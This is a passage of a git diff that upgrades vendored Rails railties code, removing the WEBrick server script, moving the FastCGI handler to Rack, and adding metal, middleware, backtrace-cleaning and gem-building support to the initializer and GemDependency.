-  opts.banner = "Usage: ruby #{script_name} [options]"
-
-  opts.separator ""
-
-  opts.on("-p", "--port=port", Integer,
-          "Runs Rails on the specified port.",
-          "Default: 3000") { |v| OPTIONS[:port] = v }
-  opts.on("-b", "--binding=ip", String,
-          "Binds Rails to the specified ip.",
-          "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v }
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment to run this server under (test/development/production).",
-          "Default: development") { |v| OPTIONS[:environment] = v }
-  opts.on("-m", "--mime-types=filename", String,
-                  "Specifies an Apache style mime.types configuration file to be used for mime types",
-                  "Default: none") { |mime_types_file| OPTIONS[:mime_types] = WEBrick::HTTPUtils::load_mime_types(mime_types_file) }
-
-  opts.on("-d", "--daemon",
-          "Make Rails run as a Daemon (only works if fork is available -- meaning on *nix)."
-          ) { OPTIONS[:server_type] = WEBrick::Daemon }
-
-  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true }
-
-  opts.on("-c", "--charset=charset", String,
-          "Set default charset for output.",
-          "Default: UTF-8") { |v| OPTIONS[:charset] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help",
-          "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-start_debugger if OPTIONS[:debugger]
-
-ENV["RAILS_ENV"] = OPTIONS[:environment]
-RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV)
-
-require RAILS_ROOT + "/config/environment"
-require 'webrick_server'
-
-OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT)
-
-puts "=> Rails #{Rails.version} application started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}"
-puts "=> Ctrl-C to shutdown server; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer
-DispatchServlet.dispatch(OPTIONS)
diff --git a/vendor/rails/railties/lib/console_app.rb b/vendor/rails/railties/lib/console_app.rb
index 88e7962b..d7d01d70 100644
--- a/vendor/rails/railties/lib/console_app.rb
+++ b/vendor/rails/railties/lib/console_app.rb
@@ -1,4 +1,5 @@
-require 'action_controller/integration'
+require 'active_support/test_case'
+require 'action_controller'
 
 # work around the at_exit hook in test/unit, which kills IRB
 Test::Unit.run = true if Test::Unit.respond_to?(:run=)
@@ -23,8 +24,7 @@ end
 #reloads the environment
 def reload!
   puts "Reloading..."
-  dispatcher = ActionController::Dispatcher.new($stdout)
-  dispatcher.cleanup_application
-  dispatcher.reload_application
+  Dispatcher.cleanup_application
+  Dispatcher.reload_application
   true
 end
diff --git a/vendor/rails/railties/lib/console_with_helpers.rb b/vendor/rails/railties/lib/console_with_helpers.rb
index be453a68..039db667 100644
--- a/vendor/rails/railties/lib/console_with_helpers.rb
+++ b/vendor/rails/railties/lib/console_with_helpers.rb
@@ -1,26 +1,5 @@
-class Module
-  def include_all_modules_from(parent_module)
-    parent_module.constants.each do |const|
-      mod = parent_module.const_get(const)
-      if mod.class == Module
-        send(:include, mod)
-        include_all_modules_from(mod)
-      end
-    end
-  end
-end
-
-def helper(*helper_names)
-  returning @helper_proxy ||= Object.new do |helper|
-    helper_names.each { |h| helper.extend "#{h}_helper".classify.constantize }
-  end
-end
-
-require_dependency 'application'
-
-class << helper 
-  include_all_modules_from ActionView
+def helper
+  @helper ||= ApplicationController.helpers
 end
 
 @controller = ApplicationController.new
-helper :application rescue nil
diff --git a/vendor/rails/railties/lib/dispatcher.rb b/vendor/rails/railties/lib/dispatcher.rb
index 0bad45d9..9f8b59aa 100644
--- a/vendor/rails/railties/lib/dispatcher.rb
+++ b/vendor/rails/railties/lib/dispatcher.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
diff --git a/vendor/rails/railties/lib/fcgi_handler.rb b/vendor/rails/railties/lib/fcgi_handler.rb
index 1bb55b92..0cd2dc51 100644
--- a/vendor/rails/railties/lib/fcgi_handler.rb
+++ b/vendor/rails/railties/lib/fcgi_handler.rb
@@ -38,6 +38,8 @@ class RailsFCGIHandler
     # Safely install signal handlers.
     install_signal_handlers
 
+    @app = Dispatcher.new
+
     # Start error timestamp at 11 seconds ago.
     @last_error_on = Time.now - 11
   end
@@ -69,36 +71,36 @@ class RailsFCGIHandler
 
   protected
     def process_each_request(provider)
-      cgi = nil
+      request = nil
 
       catch :exit do
-        provider.each_cgi do |cgi|
-          process_request(cgi)
+        provider.each do |request|
+          process_request(request)
 
           case when_ready
             when :reload
               reload!
             when :restart
-              close_connection(cgi)
+              close_connection(request)
               restart!
             when :exit
-              close_connection(cgi)
+              close_connection(request)
               throw :exit
           end
         end
       end
     rescue SignalException => signal
       raise unless signal.message == 'SIGUSR1'
-      close_connection(cgi)
+      close_connection(request)
     end
 
-    def process_request(cgi)
+    def process_request(request)
       @processing, @when_ready = true, nil
       gc_countdown
 
       with_signal_handler 'USR1' do
         begin
-          Dispatcher.dispatch(cgi)
+          ::Rack::Handler::FastCGI.serve(request, @app)
         rescue SignalException, SystemExit
           raise
         rescue Exception => error
@@ -231,7 +233,7 @@ class RailsFCGIHandler
       end
     end
 
-    def close_connection(cgi)
-      cgi.instance_variable_get("@request").finish if cgi
+    def close_connection(request)
+      request.finish if request
     end
 end
diff --git a/vendor/rails/railties/lib/initializer.rb b/vendor/rails/railties/lib/initializer.rb
index 16abe62d..196bd93b 100644
--- a/vendor/rails/railties/lib/initializer.rb
+++ b/vendor/rails/railties/lib/initializer.rb
@@ -40,19 +40,20 @@ module Rails
       end
     end
 
-    def root
-      if defined?(RAILS_ROOT)
-        RAILS_ROOT
-      else
-        nil
+    def backtrace_cleaner
+      @@backtrace_cleaner ||= begin
+        # Relies on ActiveSupport, so we have to lazy load to postpone definition until AS has been loaded
+        require 'rails/backtrace_cleaner'
+        Rails::BacktraceCleaner.new
       end
     end
 
+    def root
+      Pathname.new(RAILS_ROOT) if defined?(RAILS_ROOT)
+    end
+
     def env
-      @_env ||= begin
-        require 'active_support/string_inquirer'
-        ActiveSupport::StringInquirer.new(RAILS_ENV)
-      end
+      @_env ||= ActiveSupport::StringInquirer.new(RAILS_ENV)
     end
 
     def cache
@@ -134,6 +135,7 @@ module Rails
       set_autoload_paths
       add_plugin_load_paths
       load_environment
+      preload_frameworks
 
       initialize_encoding
       initialize_database
@@ -146,7 +148,6 @@ module Rails
 
       initialize_dependency_mechanism
       initialize_whiny_nils
-      initialize_temporary_session_directory
 
       initialize_time_zone
       initialize_i18n
@@ -154,8 +155,12 @@ module Rails
       initialize_framework_settings
       initialize_framework_views
 
+      initialize_metal
+
       add_support_load_paths
 
+      check_for_unbuilt_gems
+
       load_gems
       load_plugins
 
@@ -164,11 +169,18 @@ module Rails
       load_gems
       check_gem_dependencies
 
+      # bail out if gems are missing - note that check_gem_dependencies will have
+      # already called abort() unless $gems_rake_task is set
+      return unless gems_dependencies_loaded
+
       load_application_initializers
 
       # the framework is now fully initialized
       after_initialize
 
+      # Setup database middleware after initializers have run
+      initialize_database_middleware
+
       # Prepare dispatcher callbacks and run 'prepare' callbacks
       prepare_dispatcher
 
@@ -255,10 +267,23 @@ module Rails
     def require_frameworks
       configuration.frameworks.each { |framework| require(framework.to_s) }
     rescue LoadError => e
-      # re-raise because Mongrel would swallow it
+      # Re-raise as RuntimeError because Mongrel would swallow LoadError.
       raise e.to_s
     end
 
+    # Preload all frameworks specified by the Configuration#frameworks.
+    # Used by Passenger to ensure everything's loaded before forking and
+    # to avoid autoload race conditions in JRuby.
+    def preload_frameworks
+      if configuration.preload_frameworks
+        configuration.frameworks.each do |framework|
+          # String#classify and #constantize aren't available yet.
+          toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase })
+          toplevel.load_all! if toplevel.respond_to?(:load_all!)
+        end
+      end
+    end
+
     # Add the load paths used by support functions such as the info controller
     def add_support_load_paths
     end
@@ -278,7 +303,28 @@ module Rails
     end
 
     def load_gems
-      @configuration.gems.each { |gem| gem.load }
+      unless $gems_rake_task
+        @configuration.gems.each { |gem| gem.load }
+      end
+    end
+
+    def check_for_unbuilt_gems
+      unbuilt_gems = @configuration.gems.select(&:frozen?).reject(&:built?)
+      if unbuilt_gems.size > 0
+        # don't print if the gems:build rake tasks are being run
+        unless $gems_build_rake_task
+          abort <<-end_error
+The following gems have native components that need to be built
+  #{unbuilt_gems.map { |gem| "#{gem.name}  #{gem.requirement}" } * "\n  "}
+
+You're running:
+  ruby #{Gem.ruby_version} at #{Gem.ruby}
+  rubygems #{Gem::RubyGemsVersion} at #{Gem.path * ', '}
+
+Run `rake gems:build` to build the unbuilt gems.
+          end_error
+        end
+      end
     end
 
     def check_gem_dependencies
@@ -286,7 +332,7 @@ module Rails
       if unloaded_gems.size > 0
         @gems_dependencies_loaded = false
         # don't print if the gems rake tasks are being run
-        unless $rails_gem_installer
+        unless $gems_rake_task
           abort <<-end_error
 Missing these required gems:
   #{unloaded_gems.map { |gem| "#{gem.name}  #{gem.requirement}" } * "\n  "}
@@ -353,14 +399,14 @@ Run `rake gems:install` to install the missing gems.
 
     def load_view_paths
       if configuration.frameworks.include?(:action_view)
-        ActionView::PathSet::Path.eager_load_templates! if configuration.cache_classes
-        ActionController::Base.view_paths.load if configuration.frameworks.include?(:action_controller)
-        ActionMailer::Base.template_root.load if configuration.frameworks.include?(:action_mailer)
+        ActionController::Base.view_paths.load! if configuration.frameworks.include?(:action_controller)
+        ActionMailer::Base.view_paths.load! if configuration.frameworks.include?(:action_mailer)
       end
     end
 
     # Eager load application classes
     def load_application_classes
+      return if $rails_rake_task
       if configuration.cache_classes
         configuration.eager_load_paths.each do |load_path|
           matcher = /\A#{Regexp.escape(load_path)}(.*)\.rb\Z/
@@ -393,9 +439,27 @@ Run `rake gems:install` to install the missing gems.
       end
     end
 
+    def initialize_database_middleware
+      if configuration.frameworks.include?(:active_record)
+        if configuration.frameworks.include?(:action_controller) &&
+            ActionController::Base.session_store.name == 'ActiveRecord::SessionStore'
+          configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::ConnectionAdapters::ConnectionManagement
+          configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::QueryCache
+        else
+          configuration.middleware.use ActiveRecord::ConnectionAdapters::ConnectionManagement
+          configuration.middleware.use ActiveRecord::QueryCache
+        end
+      end
+    end
+
     def initialize_cache
       unless defined?(RAILS_CACHE)
         silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(configuration.cache_store) }
+
+        if RAILS_CACHE.respond_to?(:middleware)
+          # Insert middleware to setup and teardown local cache for each request
+          configuration.middleware.insert_after(:"ActionController::Failsafe", RAILS_CACHE.middleware)
+        end
       end
     end
 
@@ -456,9 +520,9 @@ Run `rake gems:install` to install the missing gems.
     # set to use Configuration#view_path.
     def initialize_framework_views
       if configuration.frameworks.include?(:action_view)
-        view_path = ActionView::PathSet::Path.new(configuration.view_path, false)
-        ActionMailer::Base.template_root ||= view_path if configuration.frameworks.include?(:action_mailer)
-        ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.empty?
+        view_path = ActionView::PathSet.type_cast(configuration.view_path)
+        ActionMailer::Base.template_root  = view_path if configuration.frameworks.include?(:action_mailer) && ActionMailer::Base.view_paths.blank?
+        ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.blank?
       end
     end
 
@@ -467,9 +531,10 @@ Run `rake gems:install` to install the missing gems.
     # loading module used to lazily load controllers (Configuration#controller_paths).
     def initialize_routing
       return unless configuration.frameworks.include?(:action_controller)
-      ActionController::Routing.controller_paths = configuration.controller_paths
-      ActionController::Routing::Routes.configuration_file = configuration.routes_configuration_file
-      ActionController::Routing::Routes.reload
+
+      ActionController::Routing.controller_paths += configuration.controller_paths
+      ActionController::Routing::Routes.add_configuration_file(configuration.routes_configuration_file)
+      ActionController::Routing::Routes.reload!
     end
 
     # Sets the dependency loading mechanism based on the value of
@@ -484,22 +549,20 @@ Run `rake gems:install` to install the missing gems.
       require('active_support/whiny_nil') if configuration.whiny_nils
     end
 
-    def initialize_temporary_session_directory
-      if configuration.frameworks.include?(:action_controller)
-        session_path = "#{configuration.root_path}/tmp/sessions/"
-        ActionController::Base.session_options[:tmpdir] = File.exist?(session_path) ? session_path : Dir::tmpdir
-      end
-    end
-
     # Sets the default value for Time.zone, and turns on ActiveRecord::Base#time_zone_aware_attributes.
     # If assigned value cannot be matched to a TimeZone, an exception will be raised.
     def initialize_time_zone
       if configuration.time_zone
         zone_default = Time.__send__(:get_zone, configuration.time_zone)
+
         unless zone_default
-          raise %{Value assigned to config.time_zone not recognized. Run "rake -D time" for a list of tasks for finding appropriate time zone names.}
+          raise \
+            'Value assigned to config.time_zone not recognized.' +
+            'Run "rake -D time" for a list of tasks for finding appropriate time zone names.'
         end
+
         Time.zone_default = zone_default
+
         if configuration.frameworks.include?(:active_record)
           ActiveRecord::Base.time_zone_aware_attributes = true
           ActiveRecord::Base.default_timezone = :utc
@@ -507,7 +570,7 @@ Run `rake gems:install` to install the missing gems.
       end
     end
 
-    # Set the i18n configuration from config.i18n but special-case for the load_path which should be 
+    # Set the i18n configuration from config.i18n but special-case for the load_path which should be
     # appended to what's already set instead of overwritten.
     def initialize_i18n
       configuration.i18n.each do |setting, value|
@@ -519,6 +582,15 @@ Run `rake gems:install` to install the missing gems.
       end
     end
 
+    def initialize_metal
+      Rails::Rack::Metal.requested_metals = configuration.metals
+      Rails::Rack::Metal.metal_paths += plugin_loader.engine_metal_paths
+
+      configuration.middleware.insert_before(
+        :"ActionController::ParamsParser",
+        Rails::Rack::Metal, :if => Rails::Rack::Metal.metals.any?)
+    end
+
     # Initializes framework-specific settings for each of the loaded frameworks
     # (Configuration#frameworks). The available settings map to the accessors
     # on each of the corresponding Base classes.
@@ -556,7 +628,7 @@ Run `rake gems:install` to install the missing gems.
       return unless configuration.frameworks.include?(:action_controller)
       require 'dispatcher' unless defined?(::Dispatcher)
       Dispatcher.define_dispatcher_callbacks(configuration.cache_classes)
-      Dispatcher.new(Rails.logger).send :run_callbacks, :prepare_dispatch
+      Dispatcher.run_prepare_callbacks
     end
 
     def disable_dependency_loading
@@ -597,12 +669,15 @@ Run `rake gems:install` to install the missing gems.
     # A stub for setting options on ActiveSupport.
     attr_accessor :active_support
 
+    # Whether to preload all frameworks at startup.
+    attr_accessor :preload_frameworks
+
     # Whether or not classes should be cached (set to false if you want
     # application classes to be reloaded on each request)
     attr_accessor :cache_classes
 
     # The list of paths that should be searched for controllers. (Defaults
-    # to <tt>app/controllers</tt> and <tt>components</tt>.)
+    # to <tt>app/controllers</tt>.)
     attr_accessor :controller_paths
 
     # The path to the database configuration file to use. (Defaults to
@@ -665,6 +740,11 @@ Run `rake gems:install` to install the missing gems.
       @plugins = plugins.nil? ? nil : plugins.map { |p| p.to_sym }
     end
 
+    # The list of metals to load. If this is set to <tt>nil</tt>, all metals will
+    # be loaded in alphabetical order. If this is set to <tt>[]</tt>, no metals will
+    # be loaded. Otherwise metals will be loaded in the order specified
+    attr_accessor :metals
+
     # The path to the root of the plugins directory. By default, it is in
     # <tt>vendor/plugins</tt>.
     attr_accessor :plugin_paths
@@ -763,6 +843,7 @@ Run `rake gems:install` to install the missing gems.
       self.log_level                    = default_log_level
       self.view_path                    = default_view_path
       self.controller_paths             = default_controller_paths
+      self.preload_frameworks           = default_preload_frameworks
       self.cache_classes                = default_cache_classes
       self.dependency_loading           = default_dependency_loading
       self.whiny_nils                   = default_whiny_nils
@@ -803,8 +884,10 @@ Run `rake gems:install` to install the missing gems.
 
     # Enable threaded mode. Allows concurrent requests to controller actions and
     # multiple database connections. Also disables automatic dependency loading
-    # after boot
+    # after boot, and disables reloading code on every request, as these are
+    # fundamentally incompatible with thread safety.
     def threadsafe!
+      self.preload_frameworks = true
       self.cache_classes = true
       self.dependency_loading = false
       self.action_controller.allow_concurrency = true
@@ -854,6 +937,11 @@ Run `rake gems:install` to install the missing gems.
       end
     end
 
+    def middleware
+      require 'action_controller'
+      ActionController::Dispatcher.middleware
+    end
+
     def builtin_directories
       # Include builtins only in the development environment.
       (environment == 'development') ? Dir["#{RAILTIES_PATH}/builtin/*/"] : []
@@ -861,10 +949,10 @@ Run `rake gems:install` to install the missing gems.
 
     def framework_paths
       paths = %w(railties railties/lib activesupport/lib)
-      paths << 'actionpack/lib' if frameworks.include? :action_controller or frameworks.include? :action_view
+      paths << 'actionpack/lib' if frameworks.include?(:action_controller) || frameworks.include?(:action_view)
 
       [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
-        paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include? framework
+        paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include?(framework)
       end
 
       paths.map { |dir| "#{framework_root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
@@ -888,18 +976,14 @@ Run `rake gems:install` to install the missing gems.
         # Add the app's controller directory
         paths.concat(Dir["#{root_path}/app/controllers/"])
 
-        # Then components subdirectories.
-        paths.concat(Dir["#{root_path}/components/[_a-z]*"])
-
         # Followed by the standard includes.
         paths.concat %w(
           app
+          app/metal
           app/models
           app/controllers
           app/helpers
           app/services
-          components
-          config
           lib
           vendor
         ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
@@ -914,6 +998,7 @@ Run `rake gems:install` to install the missing gems.
 
       def default_eager_load_paths
         %w(
+          app/metal
           app/models
           app/controllers
           app/helpers
@@ -950,6 +1035,10 @@ Run `rake gems:install` to install the missing gems.
         true
       end
 
+      def default_preload_frameworks
+        false
+      end
+
       def default_cache_classes
         true
       end
@@ -1036,3 +1125,4 @@ class Rails::OrderedOptions < Array #:nodoc:
       return false
     end
 end
+
diff --git a/vendor/rails/railties/lib/rails/backtrace_cleaner.rb b/vendor/rails/railties/lib/rails/backtrace_cleaner.rb
new file mode 100644
index 00000000..923ed8b3
--- /dev/null
+++ b/vendor/rails/railties/lib/rails/backtrace_cleaner.rb
@@ -0,0 +1,54 @@
+module Rails
+  class BacktraceCleaner < ActiveSupport::BacktraceCleaner
+    ERB_METHOD_SIG = /:in `_run_erb_.*/
+
+    RAILS_GEMS   = %w( actionpack activerecord actionmailer activesupport activeresource rails )
+
+    VENDOR_DIRS  = %w( vendor/rails )
+    SERVER_DIRS  = %w( lib/mongrel bin/mongrel
+                       lib/passenger bin/passenger-spawn-server
+                       lib/rack )
+    RAILS_NOISE  = %w( script/server )
+    RUBY_NOISE   = %w( rubygems/custom_require benchmark.rb )
+
+    ALL_NOISE    = VENDOR_DIRS + SERVER_DIRS + RAILS_NOISE + RUBY_NOISE
+
+    def initialize
+      super
+      add_filter   { |line| line.sub("#{RAILS_ROOT}/", '') }
+      add_filter   { |line| line.sub(ERB_METHOD_SIG, '') }
+      add_filter   { |line| line.sub('./', '/') } # for tests
+
+      add_gem_filters
+
+      add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } }
+      add_silencer { |line| RAILS_GEMS.any? { |gem| line =~ /^#{gem} / } }
+      add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) }
+    end
+    
+    
+    private
+      def add_gem_filters
+        Gem.path.each do |path|
+          # http://gist.github.com/30430
+          add_filter { |line| line.sub(/(#{path})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')}
+        end
+
+        vendor_gems_path = Rails::GemDependency.unpacked_path.sub("#{RAILS_ROOT}/",'')
+        add_filter { |line| line.sub(/(#{vendor_gems_path})\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) [v] \4')}
+      end
+  end
+
+  # For installing the BacktraceCleaner in the test/unit
+  module BacktraceFilterForTestUnit #:nodoc:
+    def self.included(klass)
+      klass.send :alias_method_chain, :filter_backtrace, :cleaning
+    end
+
+    def filter_backtrace_with_cleaning(backtrace, prefix=nil)
+      backtrace = filter_backtrace_without_cleaning(backtrace, prefix)
+      backtrace = backtrace.first.split("\n") if backtrace.size == 1
+      Rails.backtrace_cleaner.clean(backtrace)
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails/gem_dependency.rb b/vendor/rails/railties/lib/rails/gem_dependency.rb
index cd280ac0..06d830ba 100644
--- a/vendor/rails/railties/lib/rails/gem_dependency.rb
+++ b/vendor/rails/railties/lib/rails/gem_dependency.rb
@@ -7,8 +7,8 @@ module Gem
 end
 
 module Rails
-  class GemDependency
-    attr_accessor :lib, :source
+  class GemDependency < Gem::Dependency
+    attr_accessor :lib, :source, :dep
 
     def self.unpacked_path
       @unpacked_path ||= File.join(RAILS_ROOT, 'vendor', 'gems')
@@ -29,16 +29,20 @@ module Rails
       end
     end
 
-    def framework_gem?
-      @@framework_gems.has_key?(name)
-    end
-
-    def vendor_rails?
-      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
-    end
-
-    def vendor_gem?
-      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.include?(self.class.unpacked_path)
+    def self.from_directory_name(directory_name, load_spec=true)
+      directory_name_parts = File.basename(directory_name).split('-')
+      name    = directory_name_parts[0..-2].join('-')
+      version = directory_name_parts.last
+      result = self.new(name, :version => version)
+      spec_filename = File.join(directory_name, '.specification')
+      if load_spec
+        raise "Missing specification file in #{File.dirname(spec_filename)}. Perhaps you need to do a 'rake gems:refresh_specs'?" unless File.exists?(spec_filename)
+        spec = YAML::load_file(spec_filename)
+        result.specification = spec
+      end
+      result
+    rescue ArgumentError => e
+      raise "Unable to determine gem name and version from '#{directory_name}'"
     end
 
     def initialize(name, options = {})
@@ -52,10 +56,11 @@ module Rails
         req = Gem::Requirement.default
       end
 
-      @dep = Gem::Dependency.new(name, req)
       @lib      = options[:lib]
       @source   = options[:source]
       @loaded   = @frozen = @load_paths_added = false
+
+      super(name, req)
     end
 
     def add_load_paths
@@ -65,7 +70,7 @@ module Rails
         @load_paths_added = @loaded = @frozen = true
         return
       end
-      gem @dep
+      gem self
       @spec = Gem.loaded_specs[name]
       @frozen = @spec.loaded_from.include?(self.class.unpacked_path) if @spec
       @load_paths_added = true
@@ -74,43 +79,79 @@ module Rails
 
     def dependencies
       return [] if framework_gem?
-      all_dependencies = specification.dependencies.map do |dependency|
+      return [] unless installed?
+      specification.dependencies.reject do |dependency|
+        dependency.type == :development
+      end.map do |dependency|
         GemDependency.new(dependency.name, :requirement => dependency.version_requirements)
       end
-      all_dependencies += all_dependencies.map(&:dependencies).flatten
-      all_dependencies.uniq
     end
 
-    def gem_dir(base_directory)
-      File.join(base_directory, specification.full_name)
+    def specification
+      # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
+      # error out if loaded version and requested version are incompatible.
+      @spec ||= begin
+        matches = Gem.source_index.search(self)
+        matches << @@framework_gems[name] if framework_gem?
+        if Gem.loaded_specs[name] then
+          # This gem is already loaded.  If the currently loaded gem is not in the
+          # list of candidate gems, then we have a version conflict.
+          existing_spec = Gem.loaded_specs[name]
+          unless matches.any? { |spec| spec.version == existing_spec.version } then
+            raise Gem::Exception,
+                  "can't activate #{@dep}, already activated #{existing_spec.full_name}"
+          end
+          # we're stuck with it, so change to match
+          version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
+          existing_spec
+        else
+          # new load
+          matches.last
+        end
+      end
     end
 
-    def spec_filename(base_directory)
-      File.join(gem_dir(base_directory), '.specification')
-    end
-
-    def load
-      return if @loaded || @load_paths_added == false
-      require(@lib || name) unless @lib == false
-      @loaded = true
-    rescue LoadError
-      puts $!.to_s
-      $!.backtrace.each { |b| puts b }
-    end
-
-    def name
-      @dep.name.to_s
+    def specification=(s)
+      @spec = s
     end
 
     def requirement
-      r = @dep.version_requirements
+      r = version_requirements
       (r == Gem::Requirement.default) ? nil : r
     end
 
+    def built?
+      return false unless frozen?
+
+      if vendor_gem?
+        specification.extensions.each do |ext|
+          makefile = File.join(unpacked_gem_directory, File.dirname(ext), 'Makefile')
+          return false unless File.exists?(makefile)
+        end
+      end
+
+      true
+    end
+
+    def framework_gem?
+      @@framework_gems.has_key?(name)
+    end
+
     def frozen?
       @frozen ||= vendor_rails? || vendor_gem?
     end
 
+    def installed?
+      Gem.loaded_specs.keys.include?(name)
+    end
+
+    def load_paths_added?
+      # always try to add load paths - even if a gem is loaded, it may not
+      # be a compatible version (ie random_gem 0.4 is loaded and a later spec
+      # needs >= 0.5 - gem 'random_gem' will catch this and error out)
+      @load_paths_added
+    end
+
     def loaded?
       @loaded ||= begin
         if vendor_rails?
@@ -134,46 +175,50 @@ module Rails
       end
     end
 
-    def load_paths_added?
-      # always try to add load paths - even if a gem is loaded, it may not
-      # be a compatible version (ie random_gem 0.4 is loaded and a later spec
-      # needs >= 0.5 - gem 'random_gem' will catch this and error out)
-      @load_paths_added
+    def vendor_rails?
+      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
+    end
+
+    def vendor_gem?
+      specification && File.exists?(unpacked_gem_directory)
+    end
+
+    def build(options={})
+      require 'rails/gem_builder'
+      return if specification.nil?
+      if options[:force] || !built?
+        return unless File.exists?(unpacked_specification_filename)
+        spec = YAML::load_file(unpacked_specification_filename)
+        Rails::GemBuilder.new(spec, unpacked_gem_directory).build_extensions
+        puts "Built gem: '#{unpacked_gem_directory}'"
+      end
+      dependencies.each { |dep| dep.build(options) }
     end
 
     def install
-      cmd = "#{gem_command} #{install_command.join(' ')}"
-      puts cmd
-      puts %x(#{cmd})
-    end
-
-    def unpack_to(directory)
-      FileUtils.mkdir_p directory
-      Dir.chdir directory do
-        Gem::GemRunner.new.run(unpack_command)
-      end
-
-      # Gem.activate changes the spec - get the original
-      real_spec = Gem::Specification.load(specification.loaded_from)
-      write_spec(directory, real_spec)
-
-    end
-
-    def write_spec(directory, spec)
-      # copy the gem's specification into GEMDIR/.specification so that
-      # we can access information about the gem on deployment systems
-      # without having the gem installed
-      File.open(spec_filename(directory), 'w') do |file|
-        file.puts spec.to_yaml
+      unless installed?
+        cmd = "#{gem_command} #{install_command.join(' ')}"
+        puts cmd
+        puts %x(#{cmd})
       end
     end
 
-    def refresh_spec(directory)
+    def load
+      return if @loaded || @load_paths_added == false
+      require(@lib || name) unless @lib == false
+      @loaded = true
+    rescue LoadError
+      puts $!.to_s
+      $!.backtrace.each { |b| puts b }
+    end
+
+    def refresh
+      Rails::VendorGemSourceIndex.silence_spec_warnings = true
       real_gems = Gem.source_index.installed_source_index
       exact_dep = Gem::Dependency.new(name, "= #{specification.version}")
       matches = real_gems.search(exact_dep)
       installed_spec = matches.first
-      if File.exist?(File.dirname(spec_filename(directory)))
+      if frozen?
         if installed_spec
           # we have a real copy
           # get a fresh spec - matches should only have one element
@@ -181,11 +226,11 @@ module Rails
           # spec is the same as the copy from real_gems - Gem.activate changes
           # some of the fields
           real_spec = Gem::Specification.load(matches.first.loaded_from)
-          write_spec(directory, real_spec)
+          write_specification(real_spec)
           puts "Reloaded specification for #{name} from installed gems."
         else
           # the gem isn't installed locally - write out our current specs
-          write_spec(directory, specification)
+          write_specification(specification)
           puts "Gem #{name} not loaded locally - writing out current spec."
         end
       else
@@ -197,42 +242,44 @@ module Rails
       end
     end
 
+    def unpack(options={})
+      unless frozen? || framework_gem?
+        FileUtils.mkdir_p unpack_base
+        Dir.chdir unpack_base do
+          Gem::GemRunner.new.run(unpack_command)
+        end
+        # Gem.activate changes the spec - get the original
+        real_spec = Gem::Specification.load(specification.loaded_from)
+        write_specification(real_spec)
+      end
+      dependencies.each { |dep| dep.unpack(options) } if options[:recursive]
+    end
+
+    def write_specification(spec)
+      # copy the gem's specification into GEMDIR/.specification so that
+      # we can access information about the gem on deployment systems
+      # without having the gem installed
+      File.open(unpacked_specification_filename, 'w') do |file|
+        file.puts spec.to_yaml
+      end
+    end
+
     def ==(other)
       self.name == other.name && self.requirement == other.requirement
     end
     alias_method :"eql?", :"=="
 
-    def hash
-      @dep.hash
-    end
-
-    def specification
-      # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
-      # error out if loaded version and requested version are incompatible.
-      @spec ||= begin
-        matches = Gem.source_index.search(@dep)
-        matches << @@framework_gems[name] if framework_gem?
-        if Gem.loaded_specs[name] then
-          # This gem is already loaded.  If the currently loaded gem is not in the
-          # list of candidate gems, then we have a version conflict.
-          existing_spec = Gem.loaded_specs[name]
-          unless matches.any? { |spec| spec.version == existing_spec.version } then
-            raise Gem::Exception,
-                  "can't activate #{@dep}, already activated #{existing_spec.full_name}"
-          end
-          # we're stuck with it, so change to match
-          @dep.version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
-          existing_spec
-        else
-          # new load
-          matches.last
-        end
-      end
-    end
-
     private
+
       def gem_command
-        RUBY_PLATFORM =~ /win32/ ? 'gem.bat' : 'gem'
+        case RUBY_PLATFORM
+          when /win32/
+            'gem.bat'
+          when /java/
+            'jruby -S gem'
+          else
+            'gem'
+        end
       end
 
       def install_command
@@ -247,5 +294,18 @@ module Rails
         cmd << "--version" << "= "+specification.version.to_s if requirement
         cmd
       end
+
+      def unpack_base
+        Rails::GemDependency.unpacked_path
+      end
+
+      def unpacked_gem_directory
+        File.join(unpack_base, specification.full_name)
+      end
+
+      def unpacked_specification_filename
+        File.join(unpacked_gem_directory, '.specification')
+      end
+
   end
 end
diff --git a/vendor/rails/railties/lib/rails/mongrel_server/commands.rb b/vendor/rails/railties/lib/rails/mongrel_server/commands.rb
deleted file mode 100644
index d29b1871..00000000
--- a/vendor/rails/railties/lib/rails/mongrel_server/commands.rb
+++ /dev/null
@@ -1,342 +0,0 @@
